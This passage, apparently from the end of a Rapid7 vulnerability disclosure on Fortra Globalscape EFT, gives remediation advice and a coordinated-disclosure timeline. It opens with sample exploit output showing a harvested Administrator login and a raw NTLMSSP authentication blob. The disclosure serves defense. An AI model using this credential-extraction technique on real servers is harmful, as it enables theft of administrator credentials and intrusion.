Found login: WIN-PV9OH13IIUB\Administrator / ******** (type = "Currently logged on user")
 NTLMSSP blob: ["580000004e544c4d535350000300000000000000580000000000000058000000000000005800000000000000580000000000000058000000000000005800000005c288a20a007c4f0000000fc336e05c920cada6821fe04d5709b868"]

Note that NTLM logins use the literal password ********, but also include an additional NTLMSSP blob containing the actual authentication details.

Remediation

These issues are fixed in Fortra Globalscape version 8.1.0.16. We don’t believe these require emergency patches, but since the ultimate consequence is remote code execution, they should be patched in the next planned patch cycle.

Timeline

  • April 2023 – Rapid7 begins researching Globalscape EFT
  • May 10, 2023: Rapid7 reports issues to vendor
  • May 10, 2023: Vendor acknowledgement
  • May 24, 2023: Vendor confirmed the issues
  • May 26, 2023: Rapid7 reserves CVEs
  • May 26 – June 1, 2023: Vendor and Rapid7 clarify additional details
  • June 13, 2023: Rapid7 asks for an update from vendor on patch ETA, proposes July 11 as coordinated disclosure date. Because of a minor misunderstanding, Rapid7 discovers vendor has already released fixes and KBs. Vendor volunteers to pull KBs offline while Rapid7 prepares our own disclosure. Initially, Rapid7 agrees to this.
  • June 14, 2023: Rapid7 asks vendor to republish their KBs in the interest of transparency and effective risk assessment while Rapid7 prepares this disclosure
  • June 20, 2023 – Vendor informs Rapid7 their KBs have been re-published
  • June 22, 2023 – Rapid7 releases this disclosure blog